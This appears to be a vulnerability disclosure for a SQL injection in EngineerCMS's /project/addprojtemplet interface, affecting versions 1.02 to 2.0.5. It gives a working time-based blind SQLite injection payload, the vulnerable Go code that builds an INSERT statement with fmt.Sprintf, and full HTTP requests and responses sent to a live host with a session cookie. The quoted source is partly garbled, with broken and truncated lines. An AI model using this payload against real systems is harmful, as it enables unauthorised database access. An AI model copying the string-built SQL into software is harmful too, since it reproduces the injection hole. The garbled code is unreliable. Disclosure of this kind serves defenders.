

# The EngineerCMS has a SQL injection vulnerability in the /project/addprojtemplet interface.

The EngineerCMS has a SQL injection vulnerability in the /project/addprojtemplet interface.

POC:

```
code=ss123&name=dassda'and(case+when(substr(sqlite_version(),1,99)='3.31.1')then+
randomblob(10000000)else+0+end),0,'','')/*&label=&principal=&projid=25001&ispermi
ssion=true
```

After logging into the EngineerCMS, it is possible to construct special parameters that can cause SQL injection.

Affected versions: **1.02~2.0.5**

Vulnerability location:

```
func (c *ProjController) AddProjTemplet() {
    _, uid, _, isLogin := checkProdRole(c.Ctx)
    if !isLogin {
        route := c.Ctx.Request.URL.String()
        c.Data["Url"] = route
        c.Redirect("/roleerr?url="+route, 302)
        // c.Redirect("/roleerr", 302)
        return
    }

    projcode := c.GetString("code")
    projname := c.GetString("name")
    projlabel := c.GetString("label")
    principal := c.GetString("principal")
    projid := c.GetString("projid")
    ispermission := c.GetString("ispermission")
    //code=ss123&name=dada&label=&principal=&projid=25001&ispermission=true
    //先保存项目名称到数据库, parentid为0, 返回id作为下面的parentid进行递归
    //根据项目模板id, 取出项目目录的json结构

    GetProjectsbyPid(idNum)

    categories := c.Get("categories")
    category := c.GetString("category")
    category.Id, category.Title, category.Code, 1, []*models.FileNode{}
    categories, &root)

    c.Insert(projcode, projname, principal, 0, "", "", 1)

    User(Id, uid)

    err = models.AddProjectLabel(Id, projlabel)
    if err != nil {
        logs.Error(err)
    }
    //在递归写入数据库
    models.Insertprojtemplet(Id, "$"+strconv.FormatInt(Id, 10)+"#", projcode+projname, root.FileNodes)
    //递归创建文件夹
    // patharr := make([]Pathstruct, 1)
    //先建立第一层文件夹
    pathstring := "./attachment/" + projcode + projname
    //在递归建立下层文件夹
    createtemplet(pathstring, root.FileNodes)
}
```

```
544 sertprojtemplet(pid int64, parentidpath, parenttitlepath string, nodes []*FileNode) (id int64) {
553 _, v1 := range nodes {
556 parentid := pid
557 grade := v1.Grade
558
559 //通过事务方式进行数据插入
560 // err := o.Begin()
561 const l1l = "2006-01-02 15:04:05.000"
562 date := time.Now().Format(l1l)
563 sql := fmt.Sprintf("insert into Project (Code, Title, Label, Principal, Parent_id, Parent_id_path, Parent_title_path, Grade, Created, Updated)
564 values('%s','%s','%s','%s',%d,'%s','%s',%d,'%s','%s')", code, title, "", "", parentid, parentidpath, parenttitlepath, grade, date,
565 // res, err := o.Raw(sql).Exec()
566 // if err != nil {
567 // o.Rollback()
568 // beego.Info("插入t_studentInfo表出错,事务回滚")
569 // } else {
570 // o.Commit()
571 // beego.Info("插入t_studenInfo表成功,事务提交")
572 // num, _ = o.RowsAffected()
573 // Id, _ = res.LastInsertId()
574 // parentidpath1 = parentidpath + "$" + strconv.FormatInt(Id, 10) + "#"
575 // parenttitlepath1 = parenttitlepath + "-" + v1.Title
576 // }
577
578 err := o.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
579 res, err2 := txOrm.Raw(sql).Exec() //这里应该是txOrm吧??
580 Id, _ = res.LastInsertId()
581 parentidpath1 = parentidpath + "$" + strconv.FormatInt(Id, 10) + "#"
582 parenttitlepath1 = parenttitlepath + "-" + v1.Title
583 return err2
584 })
```

## Vulnerability Exploitation Demonstration:

- Time-based Blind SQL Injection(Online Database is SQLite)
- By utilizing the randblob function to create a delay, the network request experiences an approximate delay of 4400 milliseconds when the result is correct, and around 1500 milliseconds when incorrect. The online SQLite database version successfully retrieved is 3.31.1

The image displays two screenshots of a network traffic analysis tool, likely Wireshark, showing HTTP requests and responses. The top screenshot shows a request with a payload that causes a long delay (4400ms) when the result is correct. The bottom screenshot shows the same request with a different payload that causes a shorter delay (1500ms) when the result is incorrect. A red arrow points from the 'no match' status in the first screenshot to the 'match' status in the second screenshot, indicating the successful exploitation of the vulnerability.

**Request (Top Screenshot):**

```
1 GET /project/addprojtemplet?code=ss123&name=dassda'and(case+when(substr(sqlite_version(),1,99)='3.31.1')then+randblob(10000000)else+0+end),0,','')/*&label=&principal=&projid=25001&ispermission=true HTTP/2
2 Host: zsj.itdos.net
3 Cookie: hotqinsessionid=030df9a764ab000f32d54618e7b15baa
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
5 Accept: */*
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 X-Requested-With: XMLHttpRequest
9 Origin: https://zs.j.itdos.net
10 Dnt: 1
11 Sec-Gpc: 1
12 Referer: https://zs.j.itdos.net/project/
13 Sec-Fetch-Dest: empty
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Site: same-origin
16 Priority: u=0
17 Te: trailers
18 Connection: close
19
20
```

**Response (Top Screenshot):**

```
1 HTTP/2 200 OK
2 Access-Control-Allow-Credentials: true
3 Access-Control-Allow-Headers: Origin,Token,Authorization,Access-Control-Allow-Origin,Access-Control-Allow-Methods
4 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
5 Access-Control-Allow-Origin: *
6 Access-Control-Expose-Headers: Content-Length,Access-Control-Allow-Origin,Access-Control-Allow-Headers
7 Content-Type: application/json; charset=utf-8
8 Mndoc-Site: https://www.iminho.me
9 Mndoc-Version:
10 X-Xss-Protection: 1; mode=block
11 Content-Length: 4
12 Date: Tue, 11 Mar 2025 14:09:42 GMT
13
14 {"ok":true}
```

**Request (Bottom Screenshot):**

```
1 GET /project/addprojtemplet?code=ss123&name=dassda'and(case+when(substr(sqlite_version(),1,99)='3.31.1')then+randblob(10000000)else+0+end),0,','')/*&label=&principal=&projid=25001&ispermission=true HTTP/2
2 Host: zsj.itdos.net
3 Cookie: hotqinsessionid=030df9a764ab000f32d54618e7b15baa
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
5 Accept: */*
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 X-Requested-With: XMLHttpRequest
9 Origin: https://zs.j.itdos.net
10 Dnt: 1
11 Sec-Gpc: 1
12 Referer: https://zs.j.itdos.net/project/
13 Sec-Fetch-Dest: empty
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Site: same-origin
16 Priority: u=0
17 Te: trailers
18 Connection: close
19
20
```

**Response (Bottom Screenshot):**

```
1 HTTP/2 200 OK
2 Access-Control-Allow-Credentials: true
3 Access-Control-Allow-Headers: Origin,Token,Authorization,Access-Control-Allow-Origin,Access-Control-Allow-Methods
4 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
5 Access-Control-Allow-Origin: *
6 Access-Control-Expose-Headers: Content-Length,Access-Control-Allow-Origin,Access-Control-Allow-Headers
7 Content-Type: application/json; charset=utf-8
8 Mndoc-Site: https://www.iminho.me
9 Mndoc-Version:
10 X-Xss-Protection: 1; mode=block
11 Content-Length: 4
12 Date: Tue, 11 Mar 2025 14:10:20 GMT
13
14 {"ok":false}
```

## Network packet:

- Request

```
GET /project/addprojtemplet?
code=ss123&name=dassda'and(case+when(substr(sqlite_version(),1,99)='3.31.1')then+
randblob(10000000)else+0+end),0,','')/*&label=&principal=&projid=25001&ispermi
ssion=true HTTP/2
Host: zsj.itdos.net
Cookie: hotqinsessionid=030df9a764ab000f32d54618e7b15baa
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://zs.j.itdos.net
Dnt: 1
Sec-Gpc: 1
```

Referer: <https://zsj.itdos.net/project/>  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Priority: u=0  
Te: trailers  
Connection: close